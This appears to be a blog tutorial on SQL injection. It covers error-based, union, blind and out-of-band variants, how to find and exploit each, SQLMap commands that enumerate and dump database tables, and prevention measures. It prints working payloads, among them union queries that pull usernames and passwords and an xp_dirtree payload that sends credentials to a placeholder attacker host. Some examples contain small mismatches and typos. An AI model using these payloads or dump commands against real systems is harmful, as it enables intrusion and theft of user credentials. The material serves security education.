SQL Injection Attacks

13 min readMar 25, 2023

What is sql ?

SQL stands for Structured Query Language and it is a programming language designed for managing and manipulating data stored in relational databases. SQL is used by software developers, data analysts, and database administrators to perform various tasks such as inserting, updating, querying, and deleting data from a database.

SQL is a standardized language, which means that it is supported by most relational database management systems (RDBMS) including MySQL, PostgreSQL, Oracle, SQL Server, and SQLite. SQL has a simple and intuitive syntax that makes it easy to learn and use, and it supports a wide range of operations and functions for working with data.

What is sql injection attack ?

SQL injection is a type of security vulnerability that occurs when untrusted user input is not properly validated or sanitized and is used to construct SQL queries. An attacker can take advantage of this vulnerability by injecting malicious SQL code into the input fields of a web application, which can then be executed by the database server.

The consequences of a successful SQL injection attack can be severe, as it can potentially allow the attacker to access or modify sensitive data, execute unauthorized commands, or even take control of the entire database server.

Impact of SQL Injection Attacks

1- Unauthorized access to sensitive data:

Confidentiality : SQLi can be used to view sensitive information, such as application usernames and passwords.
Integrity : SQLi can be used to alter data in the database.
Availability : SQLi can be used to delete data in the database.

2-Remote code execution on the operating system.

Types Of SQL injection

1- In-Band SQL Injection

In-band SQLi occurs when the attacker uses the same communication channel to both launch the attack and gather the result of the attack
Retrieved data is presented directly in the application web page
Easier to exploit than other categories of SQLi
Two common types of in-band SQLi :

a- Error-Based SQLi

Error-based SQLi is an in-band SQLi technique that forces the database to generate an error, giving the attacker information upon which to refine their injection.
Example: INPUT

www.example.com/app.php?id= '

Output:

You have an error in your SQL sytax, check the manual that corresponds to your MySQL server version…

b- Union-Based SQLi

Union-based SQLI is an in-band SQLi technique that leverages the UNION SQL operator to combine the results of two queries into a single result set
Example: INPUT

www.example.com/app.php?id=' UNION SELECT username, password FROM users --

Output:

elliot
ghekswpttnemc£529!A
administrator
tn8f921skp5&zoy7hXpk

2- Inferential (Blind) SQL Injection

SQLi vulnerability where there is no actual transfer of data via the web application
Just as dangerous as in-band SQL injection
Attacker able to reconstruct the information by sending particular requests and observing the resulting behavior of the DB Server.
Takes longer to exploit than in-band SQL injection
Two common types of blind SQLi

a- Boolean-based Blind SQLi

Boolean-based SQLi is a blind SQLi technique that uses Boolean conditions to return a different result depending on whether the query returns a TRUE or FALSE result.

Example URL:

www.example.com/app.php?id=1

Backend Query:

select title from product where id =1

Payload ‘1’ (False):

www.example.com/app.php?id=1 and 1=2

Backend Query:

select title from product where id =1 and 1=2

Payload ‘2’ (True):

www.example.com/app.php?id=1 and 1=1

Backend Query:

select title from product where id =1 and 1=1

users Table

+----+------------+---------------------+
| id | username   | password            |
+----+------------+---------------------+
| 1  | alice      | X6FFaUq3Nj6Nmpf      |
| 2  | bob        | Wv5fWd5TPj26wtf      |
| 3  | charlie    | O9Lkz5PzGv4hEyb      |
| 4  | dan        | F5Mvd8eZzS9gNbL      |
+----+------------+---------------------+

Payload :

www.example.com/app.php?id=1 ' OR SUBSTRING((SELECT password FROM users WHERE id=1),1,1) = 'X' --

Backend Query

select title from product where id =1 and SUBSTRING((SELECT Password FROM Users WHERE id = 1), 1, 1) = 'x'

In this example, the attacker is attempting to retrieve the first character of the password for user with ID 1. They have included a payload in the input field of the vulnerable web application that includes SQL code to extract this information.

The payload uses the SUBSTRING function to extract the first character of the password for user ID 1. It then compares this character to the value ‘X’ using the equals operator. If the comparison returns true, the attacker knows that the first character of the password is ‘X’. If it returns false, they know that it is not ‘X’. By repeating this process with different characters and different comparison values, the attacker can eventually reconstruct the entire password.

b- Time-based Blind SQLi

Time-based SQLi is a blind SQLi technique that relies on the database pausing for a specified amount of time, then returning the results, indicating a successful SQL query execution.

Example Query:
If the first character of the administrator’s hashed password is an ‘a’, wait for 10 seconds.
→ response takes 10 seconds → first letter is ‘a’ → response doesn’t take 10 seconds → first letter is not ‘a’

Exmaple:

Payload

' OR IF(SUBSTR(database(),1,1)='a',SLEEP(5),1) AND '1'='1

Backend Query

SELECT * FROM users WHERE username = 'admin' AND password = 'password'

The payload uses the SUBSTR function to extract the first character of the name of the current database. It then uses the IF function to compare this character to the value ‘a’. If the comparison returns true, the SLEEP function is executed, causing a delay of 5 seconds. If the comparison returns false, the SLEEP function is not executed.

By observing the server’s response time, the attacker can determine whether the comparison returned true or false. If the response time is longer than usual, the attacker knows that the comparison returned true and that the first character of the database name is ‘a’. By repeating this process with different characters and different comparison values, the attacker can eventually reconstruct the entire database name.

3- Out-of-Band SQLi

Out-of-band SQL injection (OASP) is a type of SQL injection attack where the attacker is able to retrieve information from the database through a separate channel, without relying on the server’s response. This can be done by using techniques such as DNS requests or HTTP requests to communicate with an external server controlled by the attacker.
• Not common

Example : Backend Query

SELECT * FROM users WHERE username = 'admin' AND password = 'password'

Payload

'; DECLARE @data VARCHAR(8000); SELECT @data = CONCAT(username, '~', password) FROM users WHERE id = 1; EXEC master..xp_dirtree '\\attacker_ip_address\' + @data; --

The payload uses the CONCAT function to combine the username and password for user ID 1 into a single string, separated by the ‘~’ character. It then uses the DECLARE keyword to create a new variable named ‘@data’ and assign this string to it.

The payload then uses the EXEC keyword to execute a stored procedure named ‘xp_dirtree’. This stored procedure is used to list the files and directories in a specified location. The payload specifies the IP address of an external server controlled by the attacker as the location, along with the value of the ‘@data’ variable. This causes the database server to attempt to list the files and directories in the specified location using DNS requests to the attacker’s server.

By monitoring the DNS requests to their server, the attacker can retrieve the value of the ‘@data’ variable and extract the username and password for the user with ID 1.

How to find SQLi ?

1- Black-Box Testing

Black-box testing is a technique used to test the security of an application without any prior knowledge of its inner workings. When it comes to finding SQL injection vulnerabilities from a black-box testing perspective, there are a few key steps to follow.

Firstly, it’s important to map out the application and identify any user input fields that may be vulnerable to SQL injection attacks. This can be done by exploring the website and observing how user input is processed.

Next, you can use fuzzing techniques to submit various payloads to the application and observe its responses. SQL-specific characters such as single and double quotes (‘ and “) should be submitted to see if they are improperly escaped or handled. Any anomalies or errors returned may indicate a SQL injection vulnerability.

You can also submit Boolean conditions such as OR 1=1 and OR 1=2 to see if the application behaves differently based on the condition’s truth value. If the application always returns the same result, regardless of the condition’s value, it may indicate a SQL injection vulnerability.

Another technique is to submit payloads that trigger time delays when executed within a SQL query. This can help identify blind SQL injection vulnerabilities that don’t return any visible errors or anomalies but can be exploited to extract data from the database.

Finally, you can submit OAST payloads designed to trigger an out-of-band network interaction when executed within an SQL query. By monitoring for any resulting interactions, you can identify potential SQL injection vulnerabilities that may not be immediately apparent through traditional testing methods.

By following these steps and using a variety of techniques, black-box testing can help identify SQL injection vulnerabilities in an application and ensure that it is secure against these types of attacks.

2- White_box testing

White-box testing is a method of testing software that allows testers to examine the code and internal structures of an application. In the case of SQL injection testing, white-box testing can be used to identify vulnerabilities by analyzing the application’s code and database configuration. Here are some steps to follow when performing white-box testing for SQL injection:

Enable web server logging: By enabling logging on the web server, you can capture information about the requests being made to the application, including any SQL queries being executed.

Enable database logging: Enabling database logging allows you to capture information about the SQL queries being executed against the database.

Map the application: Use tools like Burp Suite or OWASP ZAP to map out the application’s functionality, including input fields that may be vulnerable to SQL injection.

Visible functionality in the application: Review the application’s visible functionality, such as forms and input fields, to identify areas where user input is being used to construct SQL queries.

Regex search on all instances in the code that talk to the database: Use regular expressions to search the codebase for any instances where user input is being used to construct SQL queries.

Code review: Review the codebase to identify any areas where SQL queries are being constructed using user input and ensure that proper input validation and sanitization techniques are being used.

Follow the code path for all input vectors: Follow the code path for all user input vectors to ensure that input is properly validated and sanitized before being used to construct SQL queries.

Test any potential SQLi vulnerabilities: Use tools like SQLMap or manually crafted SQL injection payloads to test any potential SQL injection vulnerabilities identified during the previous steps.

By following these steps, you can identify and mitigate SQL injection vulnerabilities in your application before they can be exploited by attackers.

How to Exploit SQLi ?

1- Exploiting Error-Based SQLi

Here are some steps to follow to exploit error-based SQLi:

Submit SQL-specific characters such as ‘ or “ and look for errors or other anomalies.

Different characters can give you different errors. For example, submitting a single quote (‘) may produce an error that includes the SQL query being executed, which can give you information about the database schema or table names.

Use the information obtained from the error message to construct a new SQL query that extracts the data you want. For example, if you discover the name of a table containing sensitive data, you could construct a query to extract that data.

Submit the new SQL query and look for errors or other anomalies in the application’s response. If the query is successful, you should be able to retrieve the desired data.

Repeat the process as necessary to extract additional data from the database.

note that exploiting error-based SQLi requires careful attention to detail and a good understanding of SQL syntax and database structure. It’s also important to proceed with caution and avoid causing damage to the database or the application.

2- Union-based SQL injection

is a common technique used to exploit SQL injection vulnerabilities in web applications. When combining the results of two queries using the UNION operator, two rules must be followed: the number and order of columns must be the same in all queries, and the data types must be compatible.

To exploit a Union-based SQL injection vulnerability, the attacker needs to first determine the number of columns that the query is making and the data types of those columns. Once this information is obtained, the attacker can use the UNION operator to output information from the database.

For example, suppose a web application uses a SQL query to retrieve information about users, as follows:

SELECT name, email, address FROM users WHERE id = '$id'

If the attacker knows that the query returns three columns, they can use the following payload to inject their own SQL code and retrieve information from the database:

$id = '1 UNION SELECT username, password, null FROM users WHERE username = "admin"'

In this example, the attacker is using the UNION operator to add their own SELECT statement to the original query, retrieving the username and password columns from the users table. The null value is added as a placeholder for the missing address column.

3- Boolean-Based Blind SQLi

To exploit this vulnerability, an attacker first submits a Boolean condition that it evaluates to false and observes the response. Then, they submit a Boolean condition that evaluates to true and observe the response. This helps the attacker determine the expected response when the condition is true and false.

After the attacker determines the expected response, they can write a program that uses conditional statements to ask the database a series of true/false questions and monitor the response. This allows the attacker to extract data from the database by asking a series of targeted questions and analyzing the responses.

For example, an attacker can ask the database questions such as “ Does the first character of the user’s password start with ‘a’ ” If the response is true, the attacker can narrow down the password’s possible values. By asking a series of questions, the attacker can extract sensitive information from the database.

3- Exploiting Out-of-Band SQLi

involves leveraging an SQL injection vulnerability to trigger an out-of-band network interaction with the attacker’s machine. This is achieved by submitting specially crafted payloads as part of the SQL query, which are designed to initiate network interactions such as DNS or HTTP requests. These interactions can then be monitored by the attacker to extract data from the target system.

Different techniques can be used to exfiltrate data in out-of-band SQLi attacks. For example, an attacker can use DNS queries to exfiltrate data by encoding the information in subdomains or other parts of the DNS request. Alternatively, an attacker can use HTTP requests to send data to a web server under their control. The HTTP requests can be crafted to contain sensitive data, which is then extracted from the server logs.

To exploit out-of-band SQLi, an attacker needs to have a way to monitor the network interactions triggered by their payloads. This can be achieved by setting up a server under their control that is configured to receive and log the network interactions. The attacker’s program can then periodically check the server logs to extract the exfiltrated data.

Automated Exploitation tool

SQLMap is an open-source penetration testing tool that automates the process of detecting and exploiting SQL injection vulnerabilities in web applications. Here’s a basic overview of how to use SQLMap:

Download and install SQLMap: You can download SQLMap from the official website or clone the source code from the Github repository. Install it on your machine by following the instructions in the documentation.
https://github.com/sqlmapproject/sqlmap

Identify the target URL: Determine the URL of the web application that you want to test for SQL injection vulnerabilities.

Test for SQL injection vulnerabilities: Use the following command to test for SQL injection vulnerabilities:

sqlmap -u <target_URL> -- dbs

This command will scan the target URL for SQL injection vulnerabilities and display a list of the databases on the server.

Enumerate the databases: Once you have identified the databases, use the following command to enumerate the tables in each database:

sqlmap -u <target_URL> -D <database_name> -- tables

This command will display a list of the tables in the specified database.

Enumerate the columns: Use the following command to enumerate the columns in a specific table:

sqlmap -u <target_URL> -D <database_name> -T <table_name> -- columns

This command will display a list of the columns in the specified table.

Dump the data: Finally, use the following command to dump the data from a specific table:

sqlmap -u <target_URL> -D <database_name> -T <table_name> -C <column_name> -- dump

This command will display the contents of the specified column in the specified table.

These are just the basic commands for using SQLMap. There are many other options and parameters that you can use to customize the tool and perform more advanced SQL injection attacks. It’s important to use SQLMap responsibly and only on web applications that you have permission to test.

How to Prevent SQLI ?

There are several steps that can be taken to prevent SQL injection vulnerabilities:

Input validation: Ensure that all user inputs are validated and sanitized before they are used in SQL queries. This includes both client-side and server-side validation.

Parameterized queries: Use parameterized queries and prepared statements instead of dynamic SQL queries. Parameterized queries separate user input from the SQL code, preventing attackers from injecting malicious code.

Least privilege: Ensure that database users have the least privilege required to perform their tasks. This can limit the potential damage that can be caused by an attacker who gains access to a user account.

Secure coding practices: Train developers to write secure code and follow secure coding practices, such as avoiding the concatenation of SQL queries and using secure coding libraries.

Regular updates and patches: Keep all software, including the database and web application, up to date with the latest security patches and updates.

Use security tools: Utilize web application firewalls, intrusion detection systems, and vulnerability scanners to detect and prevent SQL injection attacks.

By following these steps, organizations can significantly reduce the risk of SQL injection vulnerabilities and protect their data and systems from malicious attacks.